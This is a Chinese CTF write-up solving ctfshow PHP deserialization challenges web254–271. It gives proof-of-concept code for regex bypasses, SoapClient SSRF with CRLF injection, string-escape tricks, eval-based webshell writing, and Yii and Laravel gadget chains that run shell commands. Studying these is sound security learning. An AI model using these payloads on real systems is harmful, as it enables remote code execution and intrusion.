反序列化刷题
前置
常见魔法函数
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
审计一下发现只需要让username和password等于所给的值即可!
?username=xxxxxx&password=xxxxxx
web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
cookie处有反序列化点,传进去将isvip改成true即可
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$h = new ctfShowUser();
#echo serialize($h);
echo urlencode(serialize($h));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//注:cookie这种传参需要先url编码
ctfshow{b5aa6a66-4b5b-429f-a2f3-a7361fb435b1}
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这个和一道题目不同的点就是传进去的username和password的值不能相同
poc如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
}
$h = new ctfShowUser();
echo urlencode(serialize($h));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
ctfshow{59b86e9e-3656-4756-ad73-bdd2b7e3be10}
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
和上题差别在于变量为私有属性了,这个需要在序列化之后的对象和值两边加上%00
poc如下
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code="system('ls');";
public function getInfo(){
eval($this->code); //door
}
}
$h = new ctfShowUser();
echo serialize($h);
echo urlencode(serialize($h));
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22system%28%27nl+f%2A%27%29%3B%22%3B%7D%7D
ctfshow{e32175cb-1c54-4539-8e7d-10ad4bf45208}
web258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
主要是这个过滤的绕过’/[oc]:\d+:/i’
PHP中这个正则的意思是过滤o:数字:和c:数字:
绕过方法是用+绕过,–>o:+
其他思路和上一题目一样,用正则直接加,poc如下
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$h = serialize(new ctfShowUser());
$h = str_replace('O:','O:+',$h);
echo urlencode($h);
?>
//O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
ctfshow{e6d2c3b2-a1f8-4377-ab15-f0c954029225}
web259
给了flag.php的源码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php的源码是
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
要去请求连接,PHP中请求连接的方式如下
用到了PHP中的内置类soapclient,作用和python中的requests相似
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$h = serialize($b);
//echo $h;
$h = str_replace('^^',"\r\n",$h);
$h = str_replace('&','&',$h);
echo urlencode($h);
?>
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
这里估计有的人会报错内置类Class ‘SoapClient’ not found ,我是用的phpstduy,就是要找到php.ini里面的extension把这个内置类的注释去掉
传参vip进行反序列化,而反序列化调用了getflag这个方法,但是这个方法不存在,所以就会触发魔法函数_call函数,而内置类SoapClient中也有魔法函数_call函数然后访问flag.txt即可得到flag
ctfshow{0505155f-d1eb-4c29-80ec-7ee892ec1016}
这道题目需要很多前置知识,Y4师傅的博客写的很全,学习完之后再回过头看这道题更容易理解
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
就是构造一个序列化里面包含ctfshow_i_love_36D即可
自己写个就行
<?php
class hzy{
public $hzy='ctfshow_i_love_36D';
}
$h = new hzy();
echo serialize($h);
//O:3:"hzy":1:{s:3:"hzy";s:18:"ctfshow_i_love_36D";}
ctfshow{d858eaa9-6cff-4f04-9955-42bd8770af51}
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){ //绕---serialize之后立马会调用
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code); //door //当尝试以调用函数的方式调用一个对象时
}
public function __sleep(){ //对象serialize之前调用
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password); //door
}
}
}
unserialize($_GET['vip']);
前置知识
当一个类中同时有__unserialize和__wakeup这俩魔术方法的时候只会调用unserialize方法,wakeup直接忽略
当传入vip进行反序列化的时候就会调用这个unserialize魔术函数,door命令没办法用,但是destruct函数可以写文件,转变思路,看如何满足
1.code=0x36d
2.code=username+password
在弱比较情况下877和877.php是相等的,所以username写文件,password写内容就行
poc如下
<?php
class ctfshowvip{
public $username='';
public $password='';
public $code='0x36d';
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);';
}
}
$h = new ctfshowvip();
echo serialize($h);
//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:22:"<?php eval($_POST[1]);";s:4:"code";s:5:"0x36d";}
ctfshow{3820ca3e-502e-46ae-aa9f-b553043b35b6}
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
给了提示还有个message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
左思右想,我发现index.php的代码给的有点多余啊,我message.php就存在可控点,抱着试试的心理我就写poc了
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
$h = new message();
echo base64_encode(serialize($h));
//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
然后就出了
的确,查了其他师傅写的WP发现这是非预期了,我的方法就是直接传序列化token为admin成立,然后他就会输出flag
预期解应该是反序列化字符串逃逸,从index.php下手
<?php
error_reporting(0);
class message{
public $from ;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$h = new message(1,1,1);
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}
将这个poc传进去之后访问message.php会发现有cookie,base解码一下是这个结果
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:84:"O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
仔细看一下源码里面,有个正则替换,利用这个正则替换可以造成字符逃逸
<?php
error_reporting(0);
class message{
public $from ;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$h = new message(1,1,fuck);
$h1 = new message(1,1,fuck);
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
echo "\n";
echo str_replace('fuck', 'loveU', serialize($h1));
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;s:4:“fuck”;s:5:“token”;s:5:“admin”;}
O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;s:4:“loveU”;s:5:“token”;s:5:“admin”;}
会发现虽然fuck的确替换成loveU了,但是序列化的长度还是4,所以在反序列化的时候他就只会截取to参数的前四个字符,最后一个字符就逃逸了,所以每当有一个fuck就会逃逸出来一个字符
目的是让序列化的token为admin,那么我们就是要逃逸长度内容为";s:5:“token”;s:5:“admin”;}的字符,让其成功闭合,将后面逃逸的字符舍弃掉,如下图这个时候admin后面那个回括号就逃逸了,所以逃逸31个字符
";s:5:"token";s:5:"admin";}是需要逃逸出来的内容,27位,所以需要27个fuck进行逃逸
poc如下
<?php
error_reporting(0);
class message{
public $from ;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$h = new message(1,1,'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}
echo "\n";
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
传入fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:“token”;s:5:“admin”;}";s:5:“token”;s:5:“admin”;}访问message.php即可得到flag
传进去的内容是下面这个
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:162:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
因为逃逸了27个字符,所以后面的;s:5:“token”;s:5:“admin”;}";s:5:“token”;s:4:“user”;}直接被忽略了,因为}直接把前面的闭合了
ctfshow{06e43cd4-540b-4946-a8e1-34ac93d9a741}
web263
题目进来是一个登录框
扫目录发现源码泄露www.zip
一眼顶针,session反序列化
还防SQL注入了
调用session_start时,PHP内置处理器会对session进行反序列化和序列化操作
常见的对数据进行序列化和反序列化的处理器
1.php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
2.php 键名+竖线(|)+经过serialize()函数处理过的值
3.php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
三种情况生成的session格式如下
php_binary
php
php_serialize
想看题目用了哪个处理器就查找ini_set的session.serialize_handler的参数,显然这道题目用的是php,如果找不到的话php版本低于5.5.4就是默认php处理器,高于5.5.4就是php_serialize 【一般情况下是这样嗷,我的是7.4.3,但是默认的处理器居然是php】
但是会发现index.php中并没指定哪一个处理器,而php版本又是7+,也就是说明index.php的处理器用的是php_serialize ,和inc.php用的处理器是不一样的,也就是这种差异导致了session反序列化漏洞
同时inc.php中username和password这俩参数是可控的
同时仔细观察会发现index.php的limit拼错了,这就导致这个限制是没用的,入口也就找到了,就是cookie的limit参数
既然这样,username文件名,password写内容,存session
这个是用php处理器得到的结果
<?php
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
/* function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}*/
}
$h = new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION['u'] = $h;
u|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}
用php_serialize处理器得到的结果如下
<?php
session_start();
ini_set("session.serialize.handle","php_serialize");
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
/* function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}*/
}
$h = new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION['u'] = $h;
a:1:{s:1:"u";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}
对比一下区别,对于inc.php,传进去的|前面的会被当作键值,后面的进行反序列化,所以总而言之就是在序列化之前加一个|,然后base编码即可,poc如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
/* function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}*/
}
$h = new User('2.php','<?php eval($_POST[1]);phpinfo();?>');
/*$_SESSION['u'] = $h;*/
$poc = base64_encode('|'.serialize($h));
echo $poc;
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
cookie传参之后刷新一下,然后登录触发check.php即可写入文件
ctfshow{e1d8b50b-1fe8-49ac-9ab8-dabdefb99f3a}
web264
262的plus版本,考察的还是字符串逃逸,同解
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
给token随便赋值,然后password指向token的地址,这样不论token如何改变,password都能跟着变,也就是会一直保持相等,poc如下
&在PHP中就是引用指向地址的意思,指针
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$h = new ctfshowAdmin();
echo serialize($h);
//O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
这道题目的就是执行析构函数,但是如何去触发,当序列化的字符串有ctfshow就会抛出异常,这个时候就用大小写绕过即可
在PHP中区分大小写的是变量名,数组索引以及常量名
不区分大小写的是函数名,方法名,类名,魔法常量,FALSE,TRUE,NULL
还有一个点就是在源码里貌似没看出来传参点,其实不然,仔细观察,cs变量已经赋值了php://input,所以这个时候只需要将exp传报文内容即可
ctfshow{7d5926a1-cc69-4f3b-ba6d-077c1403c2bd}
web267
弱口令admin/admin直接登录,发现是Yii框架
源码有提示
尝试删除拼接,看到了反序列化入口
直接在网上找个链子打
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0
system应该是被ban了,用passthru
ctfshow{76df7712-2eae-4822-8c4c-40a27352c483}
web268
换个poc继续打,刷题的先这样写了,还会抽时间跟链子
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /f* flag.txt';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
ctfshow{22a3d235-e0cc-4f70-933f-41b63de6188e}
web269
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //命令执行
echo(base64_encode(serialize($exp)));
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIGZsYWcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0
ctfshow{698ebcf9-5645-44b8-8a09-073c51c49cd0}
web270
同269
web271
Laravel5.7 反序列化漏洞,还是先照搬poc
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
poc如下
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cp /f* 1.txt')); //此处执行命令
echo urlencode(serialize($pendingcommand));
}
ctfshow{7d2d5c71-7b71-4c35-b5e6-690e45e9b2ea}
web272
